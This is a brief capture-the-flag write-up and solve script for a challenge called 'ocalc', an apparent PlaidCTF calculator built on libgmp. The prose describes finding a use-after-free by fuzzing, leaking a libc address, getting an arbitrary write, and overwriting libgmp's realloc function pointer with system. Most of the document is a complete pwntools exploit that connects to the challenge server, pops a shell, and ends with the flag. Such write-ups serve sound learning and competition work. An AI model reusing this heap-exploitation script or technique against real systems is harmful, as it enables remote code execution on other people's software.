/..

#CONTENT

#TOP

README.mdx
2 KiB2025-05-05 04:12
solve.py
2 KiB2025-05-05 04:12

This writeup will be quite brief because I don't have time at make a detailed one right now, perhaps I'll revisit it at a later date because it was a pretty cool challenge.

The gist of the challenge was a custom calculator that used libgmp to handle arbitrary precision integers. At first we weren't exactly sure what the bug was, just that it probably had something to do with garbage collection since the challenge was run with parameters that change the gc behavior. We ended up fuzzing the challenge with afl++ and quickly found a uaf bug. While trying to reduce the afl crash inputs to a minimal input that would trigger the bug we realized that the ++ operator or any of the operators that dealt with list operations would cause the uaf vulnerability.

Using the uaf and bata24 gef's musl-heap-dump I was able to get a libc leak by overlapping a libc pointer inside of a gmp limb. I was able to get arbitrary write by overlapping a number with the gmp number struct instead of the limb, and setting the limb pointer to the target address to write to. It is then possible to increment the data at the target address by an arbitrary amount using the calculator.

For rce I searched for function pointers and found some inside of libgmp. There were 3 function pointers that libgmp use for free, malloc, and realloc in a writeable section of the library. I incremented the realloc pointer to system, setup a number with a numerical value of sh, and finally added a large enough number to the previous number to force reallocation and pop a shell.

solve.pyC
from pwn import *
from subprocess import check_output
import os

context.terminal = ["kitty"]

if args.LOCAL:
script = """
# add-symbol-file ./libgmp.so.10.5.0 -s .text 0x00007ffff7ee9000+0xb040
# add-symbol-file ./ld-musl-x86_64.so.1 -s .text 0x00007ffff7f59000+0x14080 -s .data 0x00007ffff7f59000+0x00a2000 -s .bss 0x00007ffff7f59000+0x00a2420
c
"""
path = "./src/_build/default/ocalc.exe"
path = "./ocalc"
p = remote("localhost", 1337)
p.recv(1)

pid = int(check_output("pgrep ocalc", shell=True))
gdb.attach(pid, gdbscript=script, exe="./build/ocalc", sysroot=f"/proc/{sys}/root/")
else:
p = remote("ocalc.chal.pwni.ng", "1337")

def send(payload: str):
p.sendlineafter(b"@ ", payload)

def skip(count: int):
send(b"\n" * count)
for _ in range(count):
p.recvuntil(b"@ ")

send(f"{1 << 64}".encode())
send(b"1")
send(b"++")
send(b"0 0 0 0 0")
skip(0x2000)
for _ in range(7):
send(b"1")
for _ in range(12):
send(b"drop")

leak = int(p.recvline()[7:])
leak = leak >> 64
libgmp = leak + 0x123e50
linker = leak + 0x193e50

log.info(f"{leak = :#x}")
log.info(f"{libgmp = :#x}")
log.info(f"{linker = :#x}")

send(b"drop")

send(f"{1 << 64}".encode())
send(b"1")
send(b"++")
send(b"0 0 0 0 0")
skip(0x2000)

for _ in range(35):
send(b"0")

payload = p32(3) + p32(2)
# pointers at libgmp base + 0x69070
# address to read/write
target = libgmp + 0x69078
payload += p64(target)

payload = int.from_bytes(payload, "little")
print(payload.bit_length())
assert payload.bit_length() < 64 + 48

send(f"{payload}".encode())

for _ in range(35 + 6):
send(b"drop")

gmp = ELF("./libgmp.so.10.5.0", checksec=False)
gmp.address = libgmp
lnk = ELF("./linker.so.1", checksec=False)
lnk.address = linker

offset = lnk.sym.system - gmp.sym.__gmp_default_reallocate - 0x6000
log.info(f"{offset = :#x}")
send(f"{offset} +".encode())
shell = u16(b"sh")
send(f"{shell}".encode())
plus = 1 << 128
send(f"{plus} +".encode())

p.interactive()

# PCTF{is_my_c4lculat0rs_s0s0_s3ndy_now_52b30a433ebb7a7b884999a28f25777a157f5b14}